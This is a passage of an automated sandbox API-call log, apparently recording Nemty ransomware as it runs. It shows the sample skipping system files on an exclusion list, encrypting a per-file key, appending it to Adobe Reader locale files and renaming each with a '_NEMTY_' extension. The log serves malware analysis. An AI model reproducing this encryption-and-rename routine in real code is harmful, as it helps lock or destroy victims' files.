dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.368] Sleep (dwMilliseconds=0x5) [0182.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x205a2fd0, dwHighDateTime=0x1d561e8)) [0182.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x205a2fd0, dwHighDateTime=0x1d561e8)) [0182.377] GetLastError () returned 0x0 [0182.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.378] GetLastError () returned 0x0 [0182.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.378] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.378] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.378] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.378] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="W2r+CPHLJIdYHIszUBDU76Q8J8dwQOozoJNRDIyN5q2ubwi/9rdXV9afpCJz3akg\r\nXvskfB0dUoZG4OMy1IWDFNp7NUPfUkaSFB2RmtKX+AJDivM7/qhFS3yVobKgc8pU\r\nQvrHnqI4tBoQMewBTFBI+JHEDWBYgWwGYfcyMKwY6Rk+bLLlKn2DEEbgmRySINSt\r\n45Y1kCXw/b70ZgBXqRPQRsfepH2Q2Dm8BDuwzQwpZtFE/2vi51Ck7Gt1YXNMASpa\r\nEDu1cxRJkVYfj6uBhx4mIeGvGfLBjex75xIAS28lWT5Lm+nWFFRDkEoEwgW2Pv1n\r\nLujMlRNPySZcU/9sJtppVA==\r\n", pcchString=0x653e5dc) returned 1 [0182.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.378] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Checkers.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\checkers.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.379] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=129536) returned 1 [0182.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0182.379] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.379] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0182.388] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.388] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0182.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.389] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=129536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1fa00 [0182.389] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.389] CloseHandle (hObject=0x2e8) returned 1 [0182.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.389] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.389] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.389] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Checkers.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\checkers.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Checkers.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\checkers.rum._nemty_kgobjgd_")) returned 1 [0182.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.390] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.RUM", cAlternateFileName="")) returned 1 [0182.390] lstrcmpiW (lpString1="DigSig.RUM", lpString2=".") returned 1 [0182.390] lstrcmpiW (lpString1="DigSig.RUM", lpString2="..") returned 1 [0182.390] lstrcmpiW (lpString1="DigSig.RUM", lpString2="...") returned 1 [0182.390] lstrcmpiW (lpString1="DigSig.RUM", lpString2="windows") returned -1 [0182.390] lstrcmpiW (lpString1="DigSig.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.390] lstrcmpiW (lpString1="DigSig.RUM", lpString2="rsa") returned -1 [0182.390] lstrcmpiW (lpString1="DigSig.RUM", lpString2="NTDETECT.COM") returned -1 [0182.390] lstrcmpiW (lpString1="DigSig.RUM", lpString2="ntldr") returned -1 [0182.390] lstrcmpiW (lpString1="DigSig.RUM", lpString2="MSDOS.SYS") returned -1 [0182.390] lstrcmpiW (lpString1="DigSig.RUM", lpString2="IO.SYS") returned -1 [0182.390] lstrcmpiW (lpString1="DigSig.RUM", lpString2="boot.ini") returned 1 [0182.390] lstrcmpiW (lpString1="DigSig.RUM", lpString2="boot.ini") returned 1 [0182.390] lstrcmpiW (lpString1="DigSig.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.390] lstrcmpiW (lpString1="DigSig.RUM", lpString2="ntuser.dat") returned -1 [0182.390] lstrcmpiW (lpString1="DigSig.RUM", lpString2="desktop.ini") returned 1 [0182.390] lstrcmpiW (lpString1="DigSig.RUM", lpString2="CONFIG.SYS") returned 1 [0182.390] lstrcmpiW (lpString1="DigSig.RUM", lpString2="RECYCLER") returned -1 [0182.390] lstrcmpiW (lpString1="DigSig.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.391] lstrcmpiW (lpString1="DigSig.RUM", lpString2="bootmgr") returned 1 [0182.391] lstrcmpiW (lpString1="DigSig.RUM", lpString2="programdata") returned -1 [0182.391] lstrcmpiW (lpString1="DigSig.RUM", lpString2="appdata") returned 1 [0182.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUM", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.RUM", lpUsedDefaultChar=0x0) returned 10 [0182.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUM", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.RUM", lpUsedDefaultChar=0x0) returned 10 [0182.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUM", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.RUM", lpUsedDefaultChar=0x0) returned 10 [0182.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUM", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.RUM", lpUsedDefaultChar=0x0) returned 10 [0182.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.391] Sleep (dwMilliseconds=0x5) [0182.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x205c9130, dwHighDateTime=0x1d561e8)) [0182.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x205c9130, dwHighDateTime=0x1d561e8)) [0182.393] GetLastError () returned 0x0 [0182.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.393] GetLastError () returned 0x0 [0182.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.393] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.393] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.394] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0182.394] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="JVVSx0JRO2todhae61il8gm0zpYouRpM8L+seB9KhTffkjR1gqA7b3em/Wpms+Yj\r\nP7wlA+2/rUz/X6/gT8MqyMa9qE47joX17YjGDiN15V1uT0TDvsqayHYwWgsCRU0L\r\na3DN9FXSmErFH8p25h+DSFKx0mrDe4yygpPJLfjpQ4ZKCt55jyy2bSRNYcfFCL/a\r\n4VUuc1awPIQeRRnS1eD9cYtChGLsNnVbFZpRHOvbjRyciUdRfG3LQL3yFUr8MPSl\r\nAh5CYpGkf5+nr5zM1x4VoHmJy4lq1Xcw7BkmLnvXLtxhOUCRV27/YSLtNVTWTjKG\r\nydtGNbUHX9KHmdaQ6iXNSw==\r\n", pcchString=0x653e5dc) returned 1 [0182.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0182.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.394] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\DigSig.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\digsig.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.394] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=131584) returned 1 [0182.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0182.394] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.394] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0182.403] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.403] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0182.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.404] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=131584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20200 [0182.404] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.404] CloseHandle (hObject=0x2e8) returned 1 [0182.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0182.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0182.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.404] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\DigSig.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\digsig.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\DigSig.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\digsig.rum._nemty_kgobjgd_")) returned 1 [0182.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0182.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0182.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.407] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.RUM", cAlternateFileName="")) returned 1 [0182.407] lstrcmpiW (lpString1="DVA.RUM", lpString2=".") returned 1 [0182.407] lstrcmpiW (lpString1="DVA.RUM", lpString2="..") returned 1 [0182.407] lstrcmpiW (lpString1="DVA.RUM", lpString2="...") returned 1 [0182.407] lstrcmpiW (lpString1="DVA.RUM", lpString2="windows") returned -1 [0182.407] lstrcmpiW (lpString1="DVA.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.408] lstrcmpiW (lpString1="DVA.RUM", lpString2="rsa") returned -1 [0182.408] lstrcmpiW (lpString1="DVA.RUM", lpString2="NTDETECT.COM") returned -1 [0182.408] lstrcmpiW (lpString1="DVA.RUM", lpString2="ntldr") returned -1 [0182.408] lstrcmpiW (lpString1="DVA.RUM", lpString2="MSDOS.SYS") returned -1 [0182.408] lstrcmpiW (lpString1="DVA.RUM", lpString2="IO.SYS") returned -1 [0182.408] lstrcmpiW (lpString1="DVA.RUM", lpString2="boot.ini") returned 1 [0182.408] lstrcmpiW (lpString1="DVA.RUM", lpString2="boot.ini") returned 1 [0182.408] lstrcmpiW (lpString1="DVA.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.408] lstrcmpiW (lpString1="DVA.RUM", lpString2="ntuser.dat") returned -1 [0182.408] lstrcmpiW (lpString1="DVA.RUM", lpString2="desktop.ini") returned 1 [0182.408] lstrcmpiW (lpString1="DVA.RUM", lpString2="CONFIG.SYS") returned 1 [0182.408] lstrcmpiW (lpString1="DVA.RUM", lpString2="RECYCLER") returned -1 [0182.408] lstrcmpiW (lpString1="DVA.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.408] lstrcmpiW (lpString1="DVA.RUM", lpString2="bootmgr") returned 1 [0182.408] lstrcmpiW (lpString1="DVA.RUM", lpString2="programdata") returned -1 [0182.408] lstrcmpiW (lpString1="DVA.RUM", lpString2="appdata") returned 1 [0182.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUM", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0182.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUM", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.RUM", lpUsedDefaultChar=0x0) returned 7 [0182.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUM", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0182.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUM", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.RUM", lpUsedDefaultChar=0x0) returned 7 [0182.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUM", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0182.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUM", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.RUM", lpUsedDefaultChar=0x0) returned 7 [0182.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUM", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0182.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUM", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.RUM", 